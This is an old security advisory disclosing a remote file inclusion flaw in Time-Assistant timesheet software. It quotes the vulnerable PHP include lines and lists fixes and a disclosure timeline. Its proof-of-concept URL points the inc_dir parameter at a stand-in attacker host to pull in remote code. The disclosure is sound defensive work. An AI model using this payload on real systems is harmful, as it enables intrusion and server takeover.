adv80-K-159-2007.txt

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[ECHO_ADV_80$2007] Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability  
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Author : M.Hasran Addahroni  
Date : March, 29th 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv80-K-159-2007.txt  
Critical Lvl : Dangerous  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Time-Assistant   
version : <= 6.2 Time-Assistant Standard, Time-Assistant Enterprise, Time-Assistant light  
Vendor : http://www.time-assistant.com  
Description :  
  
Time-Assistant - Web based time tracking software for Internet/Intranet featuring employee timesheets and various reports and project management tools that include salary calculation, invoices and expenses, online services and PDA package. Time-Assistant is professional timesheet software for your business. It is a daily time tracking solution designed to reduce the drudgery of recording, analyzing and reporting associated with everyday working routine. With Time-Assistant you can easily manage employee timesheets and expenses, calculate salaries, prepare project estimates, get invoices based on personal or client work rates.  
  
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Vulnerability:  
~~~~~~~~~~~~~~  
- Invalid include function at lib/timesheet.class.php :   
  
  
----------------lib/timesheet.class.php-------------------  
...  
include ($inc_dir . "database.inc.php");  
include ($lib_dir . "sqlstorage.class.php");  
include ($lib_dir . "lib.php");  
include ($lib_dir . "timesheet.lib.php");  
...  
----------------------------------------------------------------  
  
  
Input passed to the "inc_dir" and "lib_dir" parameter in lib/timesheet.class.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local or external resources.  
Successful exploitation requires that "register_globals" is enabled.  
  
  
  
  
Poc/Exploit:  
~~~~~~~~~~  
  
http://www.target.com/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil?  
  
  
Solution:  
~~~~~~~  
  
- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals  
  
  
Notification:  
~~~~~~~  
- 28-03-2007 bugs found  
- 28-03-2007 vendor contacted but no response  
- 29-03-2007 advisory released  
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Shoutz:  
~~~~~  
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw  
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16  
~ [email protected]  
~ #aikmel #e-c-h-o @irc.dal.net  
  
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Contact:  
~~~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
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